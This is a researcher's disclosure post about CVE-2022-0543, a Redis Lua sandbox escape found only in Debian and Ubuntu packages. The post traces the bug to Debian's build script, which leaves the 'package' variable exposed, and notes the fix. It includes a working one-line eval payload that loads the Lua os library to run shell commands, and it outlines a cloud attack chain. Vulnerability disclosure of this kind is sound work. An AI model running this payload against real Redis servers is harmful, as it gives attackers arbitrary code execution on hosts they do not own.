An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other derivatives

This post describes how I broke the Redis sandbox, but only for Debian and Debian-derived Linux distributions. Upstream Redis is not affected. That makes it a Debian vulnerability, not a Redis one. The culprit, if you will, is dynamic linking, but there will be more on that later.

This received the CVE id of CVE-2022-0543. Debian also released the DSA-5081 security advisory on 18/Feb/2022, and Ubuntu released USN-5316-1 on 7/Mar/2022, so I'm releasing this post on 8/Mar/2022.

Redis in 30 seconds

Redis is a very widely used service for caching, but it's also used as a message broker. Clients talk to a Redis server over a socket, send commands, and the server changes its state (i.e. its in-memory structures), in response to such commands. Redis embeds the Lua programming language as its scripting engine, which is made available through the eval command. The Lua engine is expected to be sandboxed, i.e., clients can interact with the Redis APIs from Lua, but should not be able to execute arbitrary code on the machine where Redis is running.

Background

Back in January, I was doing research on Redis, not because of Redis per se, but because I have a hunch that cloud providers of standalone Redis (and other DB) services might be doing "interesting" things that might lead to cross-account vulnerabilities. Some earlier examples of the kind of attack I'm talking about include:

The general path to such an attack would be:

  1. Find an RCE vulnerability on a cloud service
  2. Escape the container, if any
  3. Talk directly to the orchestrator and/or some kind of metadata service, which will assume you are trusted, because it assumes only trusted services can talk to it in the first place

Of those, the hardest part is the first, in my experience. Usually, the container can be escaped trivially. The fact that the orchestrator/metadata service accepts commands is of course a vulnerability, but a fairly prevalent one. The word is out that it's possible to talk to orchestrators/metadata services from less privileged contexts, so maybe that will get fixed over time. But for now, cool bounties can be made by researchers doing what I was trying to do here.

The PoC

On a x86-64 machine, one can do:

eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_poc"); return 0'

For other architectures, the path to loadlib must be adjusted.

Why, though?

At first, I thought I had found a general vulnerability, but I quickly noticed that trying the PoC on different distros or on code I built myself didn't work. Upstream Redis statically links Lua so, since the luaopen_package and luaopen_os functions are not used by Redis, those functions aren't even present in the binary. Redis upstream also includes and initializes the lua-bitop and lua-cjson libraries, which are not part of standard Lua. The initialization of upstream Redis looks like this:

void luaLoadLibraries(lua_State *lua) {                                                                                                                                                   
    luaLoadLib(lua, "", luaopen_base);                                                                                                                                                    
    luaLoadLib(lua, LUA_TABLIBNAME, luaopen_table);                                                                                                                                       
    luaLoadLib(lua, LUA_STRLIBNAME, luaopen_string);                                                                                                                                      
    luaLoadLib(lua, LUA_MATHLIBNAME, luaopen_math);                                                                                                                                       
    luaLoadLib(lua, LUA_DBLIBNAME, luaopen_debug);                                                                                                                                        
    luaLoadLib(lua, "cjson", luaopen_cjson);                                                                                                                                              
    luaLoadLib(lua, "struct", luaopen_struct);                                                                                                                                            
    luaLoadLib(lua, "cmsgpack", luaopen_cmsgpack);                                                                                                                                        
    luaLoadLib(lua, "bit", luaopen_bit);                                                                                                                                                  
                                                                                                                                                                                          
#if 0 /* Stuff that we don't load currently, for sandboxing concerns. */
    luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);                                                                                                                                    
    luaLoadLib(lua, LUA_OSLIBNAME, luaopen_os);                                                                                                                                           
#endif 

On Debian, Lua is loaded dynamically by Redis and, moreover, lua-bitop and lua-cjson are their own packages, which are loaded when the Lua interpreter itself is initialized. When the interpreter initialization was performed, the module and require Lua variables, which are present in the global environment on upstream Lua, but not on Redis' Lua, and would also enable this same attack, were cleared out, but the package variable was not. This was done via the debian/rules file, which generates a debian/lua_libs_debian.c files, which is included right after the #endif directive shown above. Here are the relevant excerpts:

# Try and use these Lua modules shipped in Debian...
LUA_LIBS_DEBIAN = cjson bitop

# ... which are not always called their "C" names
LUA_LIBS_DEBIAN_NAMES = cjson bit

# ...

debian/lua_libs_debian.c:
        echo "// Automatically generated; do not edit." >$@
        echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
        set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
                echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
                echo "    serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
        done
        echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@

Note that luaopen_package ends up being called, contrary to what happens in upstream. That has the side effect of binding three variables in the global environment: module, require, and package. The first two are cleared out in the vulnerable version, but the latter wasn't. So, the fix was, you guessed it, to add package=nil to the end of the Lua initialization.

Who should care?

Only people who run Redis on Debian, Ubuntu, and possibly other Debian-based distros. Just make sure your system is up to date.

Interestingly, I was surprised that I had to report this to Debian and Ubuntu separately. I expected that Ubuntu would either automatically pick the fix up or that there would be a manual process wherein someone at Canonical would take a look at all Debian security announcements and check whether they apply to Ubuntu as well. I'll leave that as a suggestion to Canonical.